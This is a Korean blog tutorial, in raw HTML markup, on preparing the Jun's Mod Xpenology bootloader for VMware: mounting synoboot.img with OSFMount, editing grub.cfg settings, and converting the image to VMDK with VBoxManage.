this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Jun's Mod 다운&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다운로드 Link(Jun님의 링크이다):&lt;/p&gt;
&lt;p&gt;&lt;span&gt;link&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA&quot;&gt;https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA&lt;/a&gt;&lt;span&gt;&amp;nbsp;(for DS918+) -&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;v1.04b&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1610786327418&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;MEGA&quot; data-og-description=&quot;MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now&quot; data-og-host=&quot;mega.nz&quot; data-og-source-url=&quot;https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA&quot; data-og-url=&quot;https://mega.nz/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/2QugP/hyIXdBKVoT/NalN12XtvXklnseb2GSGz1/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200,https://scrap.kakaocdn.net/dn/m2nKK/hyIXjhHfGp/Bx8oQfgjVgoj91G8X6ld80/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200&quot;&gt;&lt;a href=&quot;https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/2QugP/hyIXdBKVoT/NalN12XtvXklnseb2GSGz1/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200,https://scrap.kakaocdn.net/dn/m2nKK/hyIXjhHfGp/Bx8oQfgjVgoj91G8X6ld80/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;MEGA&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;mega.nz&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;OSFMount 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;헤놀로지 설치하려면&lt;/p&gt;
&lt;p&gt;Jun's Mod 수정이 필수이기 때문에&lt;/p&gt;
&lt;p&gt;OSFmount를 설치해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다운로드:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.osforensics.com/tools/mount-disk-images.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.osforensics.com/tools/mount-disk-images.html&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1610786745347&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OSFMount - Mount Disk Images &amp;amp; Create RAM Drives&quot; data-og-description=&quot;OSFMount allows you to mount local disk image files (bit-for-bit copies of an entire disk or disk partition) in Windows as a physical disk or a logical drive letter. You can then analyze the disk image file with PassMark OSForensics&amp;trade; by using the physica&quot; data-og-host=&quot;www.osforensics.com&quot; data-og-source-url=&quot;https://www.osforensics.com/tools/mount-disk-images.html&quot; data-og-url=&quot;https://www.osforensics.com/tools/mount-disk-images.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.osforensics.com/tools/mount-disk-images.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.osforensics.com/tools/mount-disk-images.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;OSFMount - Mount Disk Images &amp;amp; Create RAM Drives&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;OSFMount allows you to mount local disk image files (bit-for-bit copies of an entire disk or disk partition) in Windows as a physical disk or a logical drive letter. You can then analyze the disk image file with PassMark OSForensics&amp;trade; by using the physica&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.osforensics.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;499&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oZmbk/btqTELXzFDo/qs4Z6fZp3qAOzkHIl2dfKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oZmbk/btqTELXzFDo/qs4Z6fZp3qAOzkHIl2dfKk/img.png&quot; data-alt=&quot;OSFMount 다운&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oZmbk/btqTELXzFDo/qs4Z6fZp3qAOzkHIl2dfKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoZmbk%2FbtqTELXzFDo%2Fqs4Z6fZp3qAOzkHIl2dfKk%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;499&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OSFMount 다운&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;Jun's Mod 마운트&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 부트커널을 수정하기 위해&lt;/p&gt;
&lt;p&gt;다운받은 Jun's Mod v1.04의 압축을 해제하고&lt;/p&gt;
&lt;p&gt;OSFMount로 마운트 시킨다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. Jun's Mod v1.04 압축 해제&lt;br /&gt;- &lt;u&gt;synoboot.img&lt;/u&gt;&lt;/b&gt; 생성&lt;b&gt;&lt;br /&gt;&lt;br /&gt;2. OSFMount 실행&lt;br /&gt;&lt;br /&gt;3. Mount new... -&amp;gt; Disk image file -&amp;gt; Next&lt;br /&gt;- &lt;u&gt;synoboot.img&lt;/u&gt;&lt;/b&gt; 선택&lt;b&gt;&lt;br /&gt;&lt;br /&gt;4. Mount partitions as virtual disks -&amp;gt; Next&lt;br /&gt;&lt;br /&gt;5. Read-only drive 체크 해제 -&amp;gt; Mount&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;synoboot.img를 불러온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;559&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmvOVa/btqTDIteAtG/mP2GQkuN1Q9dN4pevD6Kf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmvOVa/btqTDIteAtG/mP2GQkuN1Q9dN4pevD6Kf1/img.png&quot; data-alt=&quot;synoboot.img 마운트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmvOVa/btqTDIteAtG/mP2GQkuN1Q9dN4pevD6Kf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmvOVa%2FbtqTDIteAtG%2FmP2GQkuN1Q9dN4pevD6Kf1%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;559&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;synoboot.img 마운트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Part 0을 선택하고 다음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;559&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/doNKgY/btqTPxXgJ0x/dG9QC8T45xUlSJKF0LyQoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/doNKgY/btqTPxXgJ0x/dG9QC8T45xUlSJKF0LyQoK/img.png&quot; data-alt=&quot;Part 0 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/doNKgY/btqTPxXgJ0x/dG9QC8T45xUlSJKF0LyQoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdoNKgY%2FbtqTPxXgJ0x%2FdG9QC8T45xUlSJKF0LyQoK%2Fimg.png&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;559&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Part 0 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Read-only drive의 체크를 해제하고&lt;/p&gt;
&lt;p&gt;Mount 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;428&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EUopR/btqTPznfBc1/rKbopPwxLOPSbe8kvnWbpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EUopR/btqTPznfBc1/rKbopPwxLOPSbe8kvnWbpK/img.png&quot; data-alt=&quot;Read-only drive 해제 -&amp;amp;amp;gt; Mount&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EUopR/btqTPznfBc1/rKbopPwxLOPSbe8kvnWbpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEUopR%2FbtqTPznfBc1%2FrKbopPwxLOPSbe8kvnWbpK%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;428&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Read-only drive 해제 -&amp;gt; Mount&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;grub.cfg 수정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;마운트하면 아래와 같이&lt;/p&gt;
&lt;p&gt;파일들을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. OSFMount에서 &lt;b&gt;드라이버 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2. 마운트된 드라이버에서 &lt;b&gt;grub.cfg&lt;/b&gt; 확인&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;OSFMount에서 마운트된 드라이버를 확인한다.&lt;/p&gt;
&lt;p&gt;맥북(커스텀 맥, 해킨토시)에서&lt;/p&gt;
&lt;p&gt;왜 마운트가 안되나 했는데&lt;/p&gt;
&lt;p&gt;이제 보니 FAT이다.&lt;/p&gt;
&lt;p&gt;&lt;s&gt;(FAT도 마운트되지 않나...?)&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;392&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dA5qVF/btqTNANuIqj/yW0N9DKDARt1zeTemOHRRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dA5qVF/btqTNANuIqj/yW0N9DKDARt1zeTemOHRRK/img.png&quot; data-alt=&quot;D: 드라이버에 마운트됨&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dA5qVF/btqTNANuIqj/yW0N9DKDARt1zeTemOHRRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdA5qVF%2FbtqTNANuIqj%2FyW0N9DKDARt1zeTemOHRRK%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;392&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;D: 드라이버에 마운트됨&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;마운트된 드라이버로 가면&lt;/p&gt;
&lt;p&gt;수정해야할 grub.cfg 파일이 보인다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;351&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6csX7/btqTIoU496F/vBOkkq3tm1q7BMMcnxSH51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6csX7/btqTIoU496F/vBOkkq3tm1q7BMMcnxSH51/img.png&quot; data-alt=&quot;grub.cfg 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6csX7/btqTIoU496F/vBOkkq3tm1q7BMMcnxSH51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6csX7%2FbtqTIoU496F%2FvBOkkq3tm1q7BMMcnxSH51%2Fimg.png&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;351&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;grub.cfg 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;USB를 통해 설치해야할 경우,&lt;/p&gt;
&lt;p&gt;수정해야할 내용이 많지만&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;VMware에 설치한다면&lt;/p&gt;
&lt;p&gt;2 부분만 수정해주면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. mac1 삭제&lt;/b&gt;&lt;br /&gt;- 헤놀로지의 MAC address인데,&lt;br /&gt;&amp;nbsp; 삭제하면 장비의 MAC address를 사용한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. SataPortMap=3&lt;br /&gt;&lt;/b&gt;- 실제 사용할 하드디스크의 개수&lt;br /&gt;&amp;nbsp; 1: 부팅 디스크&lt;br /&gt;&amp;nbsp; 2: 헤놀로지 설치 디스크&lt;br /&gt;&amp;nbsp; 3: 외장하드 한개&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;440&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyzyNn/btqTJS2pjCf/yrnEO9tkmjouXthWduSO21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyzyNn/btqTJS2pjCf/yrnEO9tkmjouXthWduSO21/img.png&quot; data-alt=&quot;mac1 삭제, SataPortMap=3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyzyNn/btqTJS2pjCf/yrnEO9tkmjouXthWduSO21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyzyNn%2FbtqTJS2pjCf%2FyrnEO9tkmjouXthWduSO21%2Fimg.png&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;440&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;mac1 삭제, SataPortMap=3&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설정 끝이다.&lt;/p&gt;
&lt;p&gt;저장하고 Dismount 해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;392&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NlsBK/btqTLxQ3Ds4/ZzUVQR2W1Kqu91gwJUJtGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NlsBK/btqTLxQ3Ds4/ZzUVQR2W1Kqu91gwJUJtGk/img.png&quot; data-alt=&quot;Dismount all &amp;amp;amp;amp; Exit&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NlsBK/btqTLxQ3Ds4/ZzUVQR2W1Kqu91gwJUJtGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNlsBK%2FbtqTLxQ3Ds4%2FZzUVQR2W1Kqu91gwJUJtGk%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;392&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Dismount all &amp;amp; Exit&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;VMDK 생성&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;VMware에 설치하려면&lt;/p&gt;
&lt;p&gt;img 파일을 vmdk 파일로 변경해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;방법은 다양한데&lt;/p&gt;
&lt;p&gt;나는 virtual box의 VBoxManage 툴로 변환했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;$ &lt;span style=&quot;color: #666666;&quot;&gt;VBoxManage convertfromraw &lt;b&gt;synoboot&lt;/b&gt;.img &lt;b&gt;synoboot&lt;/b&gt;.vmdk --format VMDK&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;다른 방법으론 아래 프로그램을 사용한다.&lt;br /&gt;- StarWind V2V Converter&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;img to vmdk&lt;/p&gt;
&lt;p&gt;여기서 부터는 맥북에서 작업했다.&lt;/p&gt;
&lt;p&gt;&lt;s&gt;(사실, 해킨토시...)&lt;/s&gt;&lt;s&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;162&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AcDRM/btqTJSVHPrY/EycaMFNNP3glR38MYf9Wd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AcDRM/btqTJSVHPrY/EycaMFNNP3glR38MYf9Wd1/img.png&quot; data-alt=&quot;VBoxManage convertfromraw&amp;amp;amp;nbsp;synoboot.img&amp;amp;amp;nbsp;synoboot.vmdk --format VMDK&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AcDRM/btqTJSVHPrY/EycaMFNNP3glR38MYf9Wd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAcDRM%2FbtqTJSVHPrY%2FEycaMFNNP3glR38MYf9Wd1%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;162&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VBoxManage convertfromraw&amp;nbsp;synoboot.img&amp;nbsp;synoboot.vmdk --format VMDK&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;윈도우에서도 동일하지만,&lt;/p&gt;
&lt;p&gt;Virtualbox를 설치하나&lt;/p&gt;
&lt;p&gt;StarWind V2V Conveter를 설치하나...&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;단, Virtualbox 디스크 이미지인&lt;/p&gt;
&lt;p&gt;VDI로 변경해서&lt;/p&gt;
&lt;p&gt;Virtualbox에다가 설치해도 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;난 VMware가 좋아서...&lt;/p&gt;
